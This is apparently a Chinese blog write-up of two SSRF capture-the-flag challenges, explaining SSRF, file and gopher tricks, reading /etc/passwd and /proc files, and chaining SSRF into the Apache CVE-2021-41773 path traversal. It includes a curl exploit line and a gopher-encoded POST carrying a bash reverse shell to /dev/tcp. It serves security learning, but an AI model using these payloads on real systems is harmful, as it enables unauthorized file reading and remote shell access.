SSRF学习,刷题
[HNCTF 2022 WEEK2]ez_ssrf
给了一个Apache2的界面,翻译一下
就是一个默认的界面,目录扫描
可以看到flag.php,肯定是不能直接访问得到的,还有index.php,访问这个
可以看到三个参数data,host,port
还有fsockopen() 函数是 PHP 中用于打开一个网络连接的一种方法。它允许我们通过 TCP/IP 协议与远程服务器通信,发送请求并获取响应。
fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。
可以想到ssrf,该题就是对ssrf漏洞的引入。
构造
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
输出:R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
host=127.0.0.1,port=80
所以构造:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
得到flag
SSRF
服务器请求伪造,是一种由攻击者形成服务器端发起的安全漏洞,本质上属于信息泄露漏洞。
攻击的目标:从外网无法访问的内部系统
形成的原因:大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
比如:从指定url地址获取网页文本内容
加载指定地址的图片,下载
百度识图,给出一串URL就能识别出图片
攻击方式:
SSRF漏洞利用:通过服务器A(SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。
利用file协议读取本地文件;
对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
攻击运行在内网或本地的应用程序;
对内网web应用进行指纹识别,识别企业内部的资产信息;
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击;
本题就是我自己是不能够去访问flag.php页面的,通过利用SSRF漏洞,依靠可以访问的index.php页面,创建了一个本地的服务器,以此用来访问flag.php页面。
file伪协议:从文件系统中获取文件内容
(查找内网主机存活IP)
fie:// 从文件系统中获取文件内容,格式为 file://[文件路径]
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表,寻找内网其他主机。
file:///proc/net/fib trie 显示当前网段路由信息
Dict伪协议:字典服务协议,访问字典资源
(查找内网主机开放端口)
HTTP伪协议
(目录扫描)ctf中经常用于文件包含
Gopher伪协议
利用范围较广:【GET提交】【POST提交】【redis】【Fastcgi】【sql】
基本格式:URL:gopher://<host>:<port>/<gopher-path>
gopher伪协议默认端口是70端口,注意改端口为80端口(web默认端口)
gopher请求不转发第一个字符,需要加_用来填充(使用下划线填充首位)
练习
[NSSCTF 2nd]MyBox
给了url参数,file伪协议读取目标参数。
构造:?url=file:///etc/passwd
成功读到配置信息,但是没有什么用,只能够确定可能存在SSRF漏洞
构造:
?url=file:///proc/self/cmdline
/proc/self/cmdline 虚拟文件系统中的一部分。 这个文件包含当前进程的命令行。 通过读取这个文件,你可以获取启动当前进程时使用的命令行参数。
查看是什么环境
可以看到是python环境,而且有/app/app.py文件
file伪协议读取。
构造:
?url=file:///app/app.py
分析源代码
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)@app.route('/')
def index():if not request.args.get('url'):return redirect('/?url=dosth')url = request.args.get('url')if url.startswith('file://'):with open(url[7:], 'r') as f:return f.read()elif url.startswith('http://localhost/'):return requests.get(url).textelif url.startswith('mybox://127.0.0.1:'):port, content = url[18:].split('/_', maxsplit=1)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(5)s.connect(('127.0.0.1', int(port)))s.send(parse.unquote(content).encode())res = b''while 1:data = s.recv(1024)if data:res += dataelse:breakreturn resreturn ''app.run('0.0.0.0', 827)
它可以处理三种类型的 URL:
file:///
开头的 URL,表示从本地文件系统中读取文件的内容。
http://localhost/
开头的 URL,表示将请求转发到本地的 HTTP 服务器。
mybox://127.0.0.1:
开头的 URL,表示将请求发送到本地的 TCP 服务器。
当用户访问 /
路由时,如果没有提供 url
参数,服务器将重定向到 /?url=dosth
。否则,服务器将根据 URL 的类型进行处理。
在处理 mybox://
开头的 URL 时,服务器会创建一个 TCP 连接到指定的端口,并将请求数据发送过去,然后将响应数据返回给客户端。
这里的mybox的方式看着很像gopher
使用该mybox提交一个请求包进行测试
师傅们的小脚本,也可以用手写,但是不如脚本,容易出错
import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
运行结果:
mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
对该脚本的分析:
test =\ """GET /xxx.php HTTP/1.1 Host: 127.0.0.1:80""" #注意后面一定要有回车,回车结尾表示http请求结束
xxx.php页面请求的内容,后面的回车,也就是加个换行符是由于在请求里面都这样,可以打开bp看一下,内容都是在下一行。
传参看一下
它是一定访问不到我们的xxx.php页面的,但是由于mybox的原因,它返回了我们的请求信息,包含了该服务器的配置信息,看到Apache/2.4.49
存在路径穿越漏洞(CVE-2021-41773)
Apache HTTP Server 2.4.49 ~ 2.4.50
Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
尝试执行指令
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
echo;id
/cgi-bin/ 是一个常见的目录,它通常用于存放可以通过网络服务器执行的脚本。CGI(通用网关接口)是一种技术,允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时,服务器将执行该脚本并返回结果给客户端。
在给出的示例中,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径,以反斜杠分隔不同的目录。%2e 是URL编码中表示"…/"的方式,代表上一级目录。因此,该路径尝试在服务器上执行 /bin/bash 这个脚本文件,会返回bash的交互式命令行界面。
curl示例:
curl -v --data "echo;id" 'http://172.17.0.3/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
修改刚才的代码,进行POST传参
import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59bash -c 'bash -i >& /dev/tcp/自己的IP/监听的端口 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
得到:
mybox://127.0.0.1:80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A60%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.217.138/8888%25200%253E%25261%2527%250D%250A
传参,nc -lvp 端口号,进行监听,得到flag。(但我自己的反弹shell没有成功)
这里进行两次url编码是我们每发一个请求到服务器端时,服务器会给我们进行一次URL解码,我们利用的SSRF漏洞是先向SSRF服务器发送请求,它对我们的请求进行一次URL解码后才会发到目标服务器,目标服务器再进行一次URL解码才会接受到我们想发给它的请求,所以进行两次URL编码。
还有一种非预期解:
访问环境变量:
?url=file:///proc/1/environ
相关文章:
SSRF学习,刷题
[HNCTF 2022 WEEK2]ez_ssrf 给了一个Apache2的界面,翻译一下 就是一个默认的界面,目录扫描 可以看到flag.php,肯定是不能直接访问得到的,还有index.php,访问这个 可以看到三个参数data,host,port 还有fsockopen() 函数是 PHP 中用于打开一个…...
K-Means 算法详解
K-Means 是一种常用的无监督学习算法,广泛应用于数据聚类分析。本文将详细讲解 K-Means 算法的原理、步骤、公式以及 Python 实现,帮助你深入理解这一经典算法。 什么是 K-Means 算法? K-Means 算法是一种基于原型的聚类算法,其…...
【DIY飞控板PX4移植】BARO模块BMP388气压计的PCB硬件设计和PX4驱动配置
BARO模块BMP388气压计的PCB硬件设计和PX4驱动配置 BMP388简介硬件设计封装原理图PCB设计引脚选择问题 PX4驱动配置飞控板的配置文件夹结构default.px4board文件nuttx-config/nsh/defconfig文件nuttx-config/include/board.h文件src/board_config.h文件src/i2c.cpp文件init/rc.b…...
Flutter框架高阶——Window应用程序设置窗体窗口背景完全透明
文章目录 1.修改 main.cpp1)C 与 Win32 API2)EnableTransparency()3)中文注释 2.编写 Flutter 代码1)bitsdojo_window2)window_manager3)区别对比4)同时使用(1)设置初始化…...
HJ39判断两个IP是否属于同一子网
提示:文章 文章目录 前言一、背景二、 2.1 2.2 总结 前言 HJ39判断两个IP是否属于同一子网 一、 代码: 第一版代码没有对掩码网络号进行处理。一开始对非法字段的理解就是value大于255。然后执行示例, 254.255.0.0 85.122.52.249 10.57.…...
opencv学习笔记(2)
设置鼠标回调函数 setMouseCallback(winname, callback, userdata) winname:窗口名字 callback:回调函数 userdata:传回callback中 callback(event, x, y, flags,userdata) event:鼠标事件 x: 鼠标的x坐标 y: 鼠标的y坐标 flags:鼠标键和组合键 userdata:setMouseCallback传回…...
分享vs code十大好用的插件
1.Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code 将 VS Code 界面改成简体中文。 2.PDF Viewer 在VS Code 中打开 PDF文件。 3.TODO Highlight 这个扩展会突出显示您的待办事项注释,并提醒存在未完成的注释或任务。 该扩展附带了内…...
MySQL支持哪些特殊字符
MySQL支持多种特殊字符,这些字符在SQL语句中具有特定的含义,需要在使用时特别注意。以下是一些MySQL中的特殊字符及其相关信息: 引号: 单引号():用于定义字符串。如果字符串中包含单引号本身&…...
c语言中的宏是什么?
宏的定义及用途 C语言中的宏是一种预处理指令,它允许程序员定义一个名称,该名称可以代表一段代码或一个值。宏的主要用途是简化代码的编写,提高代码的可读性和可维护性,以及实现代码的重复利用。 宏的定义使用#define指令&#…...
采购信息记录标准编码范围维护以及如何开发获取编码范围
上图是配置的点,在这里可以获取到对应的编号范围以及对象名称 下面的话是官方就如何取编号的技术文档 SAP Help Portal...
渗透测试基础(四) MS08-067 漏洞攻击
1. 漏洞介绍 漏洞描述 Microsoft Windows Server服务RPC请求缓冲区溢出漏洞Windows的Server服务在处理特质RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。…...
vmware 虚拟机保留数据扩展C盘
1,在默认安装系统的时候,VMWARE一般给C盘50G,很多人想着够用了,但是后面慢慢的安装各种大型软件,游戏,才发现,悔时已晚。 2,有很多人虚拟机其实就是拿来游戏多开,但是当…...
vscode cmake c++ include 设置
在这里设置编译器路径,include路径等等。 一个奇怪的现象是同一项目放在VS中可以cmake生成,并正常运行,但是放在VSCODE中cmake生成时会报错,如iostream、limits等头文件找不到。当在VS中运行执行完成调试后,在运行VSC…...
2024-06-19 高等数学(统计学和概率论-高等工科数学)
学习数学时,有效的笔记方法可以帮助你更好地理解和记忆概念、公式和解题技巧。下面是一个数学笔记的基本模本,你可以根据自己的需求进行调整: 1. **标题**:写上日期和课程名称,例如“2024-06-19 高等数学”。 2. **课…...
idea 创建properties文件,解决乱码
设置properties文件编码 点击file->Settings File Encodings->设置utf-8 重新创建.properties文件才生效...
树莓派4B学习笔记11:PC端网线SSH连接树莓派_网线连接请求超时问题解决
今日继续学习树莓派4B 4G:(Raspberry Pi,简称RPi或RasPi) 本人所用树莓派4B 装载的系统与版本如下: 版本可用命令 (lsb_release -a) 查询: Opencv 版本是4.5.1: 今日学习使用网线连接树莓派,网线可以提供更…...
适合营销的叙事可视化
背景 数据可视化与数据故事化的差异和相似点,以及它们如何协同工作,将你的数据转化为清晰、简洁、可操作的信息,以便您的组织使用。 什么是数据可视化? 数据可视化通过图像传达信息——这是你所收集数据的视觉表示。通过提供原…...
Spring Cloud全家桶(上)【Nacos、OpenFeign、LoadBalancer、GateWay、金丝雀灰色发布】
0.零基础入门微服务实战课 1.微服务和 Spring Cloud1.1 什么是微服务?1.2 什么是 Spring Cloud?1.3 微服务 VS Spring Cloud 2.为什么要学微服务?3.Spring Cloud 组件介绍1.什么是 Nacos?1.1 Nacos 功能1.1.1 配置中心1.1.2 注册中心 1.2 Na…...
GPRS与4G网络:技术差异与应用选择
在移动通信的发展历程中,GPRS(General Packet Radio Service)和4G(Fourth-Generation)技术都扮演着举足轻重的角色。虽然两者都旨在提供无线数据传输服务,但在数据传输速率、延迟和覆盖范围等方面ÿ…...
【Spring】1. Maven项目管理
📚博客主页:爱敲代码的小杨. ✨专栏:《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 |《MySQL探索之旅》 |《Web世界探险家》 ❤️感谢大家点赞👍🏻收藏⭐评论✍🏻,您的三连就是我持续更…...
工业制造领涉及的8大常见管理系统,如mes、scada、aps、wms等
在工业生产和制造领域有一些常见的管理系统,很多小伙伴分不清,这次大美B端工场带领大家了解清楚。 MES(Manufacturing Execution System,制造执行系统): MES是一种用于监控、控制和优化生产过程的软件系统…...
Lianwei 安全周报|2024.06.17
新的一周又开始了,以下是本周「Lianwei周报」,我们总结推荐了本周的政策/标准/指南最新动态、热点资讯和安全事件,保证大家不错过本周的每一个重点! 政策/标准/指南最新动态 01 IDC:2024 第一季度中国安全硬件市场规模…...
海量数据处理利器 Roaring BitMap 原理介绍
作者:来自 vivo 互联网服务器团队- Zheng Rui 本文结合个人理解梳理了BitMap及Roaring BitMap的原理及使用,分别主要介绍了Roaring BitMap的存储方式及三种container类型及Java中Roaring BitMap相关API使用。 一、引言 在进行大数据开发时,…...
Javaweb登录校验
登录校验 JWT令牌的相关操作需要添加相关依赖 <dependency><groupId>io.jsonwebtoken</groupId><artifactId>jjwt</artifactId><version>0.9.1</version> </dependency>一、摘要 场景:当我们想要访问一个网站时&am…...
vxe-table 列表过滤踩坑_vxe-table筛选
但是这个过滤输入值必须是跟列表的值必须一致才能查到,没做到模糊查询的功能,根据关键字来过滤并没有实现。 下面提供一下具体实现方法:(关键字来过滤) filterNameMethod({ option, row }) {if (row.name.indexOf(op…...
计算机网络:网络层 - IP数据报的转发
计算机网络:网络层 - IP数据报的转发 基于终点转发最长前缀匹配二叉线索树路由表特殊路由特定主机路由默认路由 IP多播 基于终点转发 路由器转发报文时,是通过报文中的目的地址字段来转发的,也即是说路由器只知道终点的IP地址,根…...
颠覆与创新:探寻Facebook未来的发展路径
Facebook,这个曾经引领社交网络革命的巨头,在如今竞争激烈的科技市场中,正面临着前所未有的挑战和机遇。如何在不断变化的数字世界中保持竞争力,成为业界领先者,这是摆在Facebook面前的重要课题。本文将探寻Facebook未…...
太湖远大毛利率下滑:研发费用率远低同行,募投项目合理性疑点重重
《港湾商业观察》黄懿 6月20日,浙江太湖远大新材料股份有限公司(以下简称“太湖远大”,873743.NQ)即将迎来过会。 2023年11月30日,太湖远大所提交的上市申请材料正式获北交所受理,保荐机构为招商证券&…...
赶紧收藏!2024 年最常见 20道设计模式面试题(八)
上一篇地址:赶紧收藏!2024 年最常见 20道设计模式面试题(七)-CSDN博客 十五、模板方法模式是如何在父类中定义算法框架的? 模板方法模式通过在父类(通常是一个抽象类)中定义算法的骨架&#x…...
JAVA学习-练习试用Java实现“比较版本号”
问题: 给定两个版本号 version1 和 version2 ,请比较它们。 版本号由一个或多个修订号组成,各修订号由一个 . 连接。每个修订号由 多位数字 组成,可能包含 前导零 。每个版本号至少包含一个字符。修订号从左到右编号,…...
国外免费服务器地址/黑帽seo是什么意思
1) SE最重要的工作是通过技术交流实现用户对公司的认同。一个销售员的第一步应该是推 销自己的公司,其次推销公司的产品,最后是推销个人魅力。但对于SE来说,SE首先要推 销个人魅力,认同用户并让用户认同自己提供的技术产品&#x…...
一起做英语网站/广告推广赚钱在哪接
WCHAR buffer[1024]; SecureZeroMemory(buffer, 1024); wstring str L"hello word" wsprintfW(buffer, L"%s", str.c_str()); 需要注意的是 第一个参数 是buffer 最大为 1024...
wordpress中国风主题/百度网页版主页网址
3.2.5 tabBar 如果应用是一个多 tab 应用,可以通过 tabBar 配置项指定 tab 栏的表现,以及 tab 切换时显示的对应页。 注意事项: 当设置 position 为 top 时,将不会显示 icon tabBar 中的 list 是一个数组,只能配…...
做外贸没有企业网站/seo技术培训唐山
第一篇文件介绍了caffe 安装编译事宜 https://blog.csdn.net/haohaixingyun/article/details/88177725 第二篇文章介绍了在编译后的caffe中构建pycaffe 的过程 https://blog.csdn.net/haohaixingyun/article/details/88530430 第三篇是构建 提取caffe 的ip1特征 数据作为s…...
合肥seo优化/天津百度整站优化服务
2019独角兽企业重金招聘Python工程师标准>>> 作者: ganzhijie 发表于 2010-09-02 15:59 原文链接 阅读: 19 评论: 0 Android中提供了判断手势的接口,所有我们可以根据提供的API来实现各种各样的手势功能来提高手机应用的用户体验。 下面是我写的一段小De…...
做网站賺钱/网站免费网站免费
Message:消息,其中包含了消息ID,消息处理对象以及处理的数据等,由MessageQueue 统一队列,终由Handler处理。 Handler:处理者,负责Message的发送及处理。使用Handler时,需要实现 handlerMessage(Message msg…...